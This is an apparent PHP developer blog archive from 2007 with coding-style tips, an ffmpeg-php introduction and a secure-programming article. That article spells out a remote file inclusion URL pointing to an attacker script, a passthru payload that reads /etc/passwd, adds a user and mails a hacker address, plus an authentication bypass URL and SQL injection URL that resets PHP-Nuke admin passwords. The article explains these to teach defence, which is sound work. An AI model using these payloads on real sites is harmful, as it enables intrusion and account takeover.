Developers Archive for the 'php5 programming' Category

Some PHP Guidelines to Live By

Some PHP Guidelines to Live By Monday, January 29th, 2007

” and ‘ Are Very Different
I see a lot of this:

$name = “Bill”;

That isn’t efficient; the whole point of double quotes is to allow interpolation. Meaning, PHP checks anything within double quotes for a variable. Like so:

echo “My name is $name”;

If you do:

$name = “Bill”;

Then PHP checks the contents of the double quotes for a variable to interpolate. This makes your scripts slower. In small scripts this isn’t noticeable — it isn’t a big difference — but in large, complex scripts, this extra work for PHP can be very noticeable. Get into the habit of doing:

$name = ‘Bill’;

“Hey, PHP, I’m not using double quotes, I’m using single quotes here, don’t even bother checking for something to interpolate.”

This reduces the work PHP has to do to parse your script, increasing efficiency, especially in larger scripts. Get into the habit — use quotes correctly.

These rules apply to everything, including echo, functions, strings… everything!

SetCookie(’name’, ‘Bill’);

Not:

SetCookie(”name”, “Bill”);

Another thing you can do is use single quotes even when using a variable, like so:

$name = ‘Bill’;
echo ‘My name is ‘.$name;

Apparently, PHP scripts parse faster this way. One other advantage of this is:

echo “<a xhref=”http://www.evolt.org” mce_href=”http://www.evolt.org”>Evolt</a>”;

Look familiar? Use single quotes and you don’t have to escape double quotes.

echo ‘<a xhref=”http://www.evolt.org” mce_href=”http://www.evolt.org”>Evolt</a>’;

Works fine, and saves you having to escape those annoying quotes. Try and get used to it. I wish I’d have been told that when I started with PHP.

Jump From PHP Mode
I also see a lot of this:

<?php
$name = ‘Bill’;
echo “<table align=”center”><tr><td>My name is $name</td></tr></table>”;
?>

No, don’t do that. One of the great features of PHP is its ability to jump in and out of PHP mode. It has actually been shown that jumping from PHP mode when outputting data actually increases your script’s parse speed, so your script will be faster. Do this:

<?php
$name = ‘Bill’;
?>
<table align=”center”><tr><td>My name is <?=$name?></td></tr></table>

Leave “PHP Mode” and print out the content, if you need to use more PHP code, just jump back in! It’s easy to do, it makes content easier to output, and it speeds up your scripts.

<?=$name?>

This is a shorthand in PHP for:

<?php echo $name; ?>

Jump into PHP mode, echo out the data contained in the variable then jump back out of PHP mode. Try and use it. It makes scripts easier to read, easier to edit and it’s just a lot easier and efficient.

register_globals Off
Another mistake I see quite often is people writing scripts that will not work if register_globals is off. In PHP 4.2, register_globals is off by default, so you need to start writing your scripts with this in mind.

Having register_globals off is no big deal. It simply means writing:

$_POST[’username’]

Rather than:

$username

It’s also a lot more secure, as it stops users being able to pass variables to your script through the query string and the like. If they stuck:

?name=Jester

Into their address bar, “Jester” would not be available in $name. It would be available in $_GET[’name’] or $HTTP_GET_VARS[’name’]. So they can’t pass variables that could twist the behaviour of your scripts.

If you have register_globals off, ensure that you have track_vars on. Track_vars makes all environment variables available in the arrays: $HTTP_SERVER_VARS ($_SERVER also, for newer versions of PHP), $HTTP_COOKIE_VARS, $HTTP_POST_VARS ($_POST also) and $HTTP_GET_VARS {$_GET also). Using these arrays instead of the normal variables isn’t much extra work for more security.

Sessions in PHP also perform a lot better with register_globals off. Take a look at this snippet of code:

$username = $_POST[’uname’]; session_register(’username’);

To register a session variable, many people use this method (I have in the past). You don’t need to use this method if you have register_globals off:

$_SESSION[’username’] = $_POST[’uname’];

In the first coding example, PHP needs to know that the variable is being registered as a session variable. In the second, we are using the $_SESSION array — PHP knows if we store something in this that it is a session variable so we don’t need to “register” it.

We can unset the username session variable like this:

unset($_SESSION[’username’]);

With MySQL
Another mistake a lot of people make is when they extract data from a database. For anyone familiar with PHP and MySQL, you will be familiar with the following function:

mysql_fetch_array()

“mysql_fetch_array() is an extended version of mysql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.”

The above is taken from the function description on php.net. So basically when we use mysql_fetch_array(), we are fetching two arrays: one containing indices, and one containing associative references to the field names in your database. Why? If you want indices, you will use mysql_fetch_row(), right?

We use mysql_fetch_array() when we want the associative references. It’s a lot easier when using associative references, yet we have this spare array taking up space and diminishing the efficiency of our code. Luckily those nice people at PHP have an array that fetches an associative array, and only that:

mysql_fetch_assoc()

mysql_fetch_assoc() fetches an associative array. If you want only that, use this function. If you want indices, use mysql_fetch_row(). If for some reason you need both, then you should use mysql_fetch_array(). Don’t assign variables you won’t use.

Secure programming habits in PHP

Secure programming habits in PHP Thursday, January 25th, 2007

The goal of this article is to show common threats and challenges of programming secure PHP applications. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=contact.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

- Has the programmer considered directory traversals like i=../../../etc/passwd?
- Does he check for the .html extension?
- Does he use fopen() to include the files?
- Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilperson.com/badscript.html

Where exec.html contains a couple of lines of code:

&ltl?php
passthru ('cat /etc/passwd');
passthru ('useradd myuser -p password');
passthru ('echo another hacked server! | mail hacker@internet.com');
?>

I am sure you get the idea. A lot of bad things can be done from here.

Per default, PHP writes most of the variables into the global scope. Of course, this is very convenient. On the other hand, you can get lost in large scripts very quickly. Where did that variable come from? If it is not set, where could it come from? All EGPCS (Environment, GET, POST, Cookie, and Server) variables are put into the global scope.

The global associative arrays $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS and $HTTP_SESSION_VARS will be created when the configuration directive track_vars is set. This allows you to look for a variable only in the place you expect it to come from. Note: As of PHP 4.0.3, track_vars is always turned on.

This security hole was reported to the Bugtraq mailing list by Ismael Peinado Palomo on July 25th, 2001. Mambo Site Server 3.0.x, a dynamic portal engine and content management tool based on PHP and MySQL, is vulnerable to a typical global scope exploit. The code has been modified and simplified.

Under the ‘admin/’ directory, index.php checks whether the password matches the one in the database after posting the form:

<?php
if ($row['pass'] == $postedpass) {
session_register("name");
session_register("fullname");
session_register("id");
header("Location: index2.php");
}
?>

When the passwords match, the variables $name, $fullname and $id are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there:

<?php
if (!$PHPSESSID) {
header("Location: index.php");
exit(0);
} else {
session_start();
if (!$name) session_register("name");
if (!$fullname) session_register("fullname");
if (!$id) session_register("id");
}
?>

|If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL:

http://example.com/admin/index2.php?PHPSESSID=1&name=admin &fullname=brian&id=admin

The GET variables $PHPSESSID, $name, $fullname and $id are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. A quick fix for this problem — by far not the perfect one — would be to check for $HTTP_SESSION_VARS['id'] or $_SESSION['id'] (PHP => v4.1.0) instead of $id.

Programming in PHP would be boring without a decent SQL database connected to the web server. However, assembling SQL queries with unchecked variables is a dangerous thing to do.

The following bug in PHP-Nuke 5.x has been reported to the Bugtraq mailing on August 3, 2001. It is actually a combination of exploiting global variables and an unchecked SQL query variable.

The PHP-Nuke developers decided to add the “nuke” prefix to all tables in order to avoid conflicts with other scripts. The prefix can be changed when multiple Nuke sites are run using the same database. Per default, $prefix = "nuke"; is defined in the configuration file config.php.

Let us now look at a few lines from the script article.php.

<?php
if (!isset($mainfile)) {
include("mainfile.php");
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>

And a bit further down: the SQL query.

<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid");
?>

To change the SQL query, we need to make sure $prefix is not set to its default value so we can set an arbitrary value via GET. The configuration file config.php is included in mainfile.php. As we know from the last chapter, we can set the variables $mainfile, $sid and $tid to any value using GET parameters. By doing so, the script will think mainfile.php has been included and $prefix has been set accordingly. Now, we are in a position to execute any SQL query starting with UPDATE. So the following query will set all admin passwords to ‘1′:

http://phpnukesite.com/article.php?mainfile=1&sid=1&tid=1 &prefix=nuke.authors%20set%20pwd=1%23

The query now looks like this:

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid

Of course, anything after # will be considered as a comment and will be ignored.

What FFMPEG-PHP can do and how to use the most out of it

What FFMPEG-PHP can do and how to use the most out of it Thursday, January 25th, 2007
You’ve probably heard of ffmpeg-php and it’s wide usability mostly in sites that involve with videos such as YouTube or any other similar site. Here’s a bit of an introduction to it and how to use it.First thing, you’ve got to check that your web hosting provider actually has ffmpeg & ffmpeg-php extension installed on your account and then you could get started with ffmpeg. You can check if it’s installed by creating a PHP script and executing the following code:

extension_loaded('ffmpeg') or die("ffmpeg extension not loaded");

If you get “ffmpeg extension not loaded” then your web hosting provider does not have ffmpeg installed, if you get nothing, then you’re one the good track!

ffmpeg-php is very simple to learn, what it is pretty much is an interface that works with the ffmpeg software to make it easier for PHP developers to access.

Like any object in PHP, you’ll have to start with creating a new instance of it. You can do that by using the following line:

$ffmpegInstance = new ffmpeg_movie(“/path/to/movie/”);

Now that you’ve had that, you can use that instance to use the many features of ffmpeg-php which are from knowing the duration of the movie/audio in seconds to retrieving the bitrate of the movie/audio file.

Once here, it’s pretty much like object oriented programming, ex:
$ffmpegInstance->getDuration(); // Gets the duration in secs.
$ffmpegInstance->getVideoCodec(); // What type of compression/codec used

This can be very helpful when coding anything that has to do with uploading videos because you can know a lot of information about it. I’ve made a small script that pretty much retrieves all the information that ffmpeg can get right here


All material @ copyrighted by chrisranjana.com. If you want to link to this article you are welcome to do so. Unauthorized publication is strictly prohibited. This developer tutorial website contains articles by Php programmers , Software developers, Mysql programmers and asp c# programmers. This website also contains ajax tutorials and advanced mysql sql stored procedures and functions tutorials and sample codes.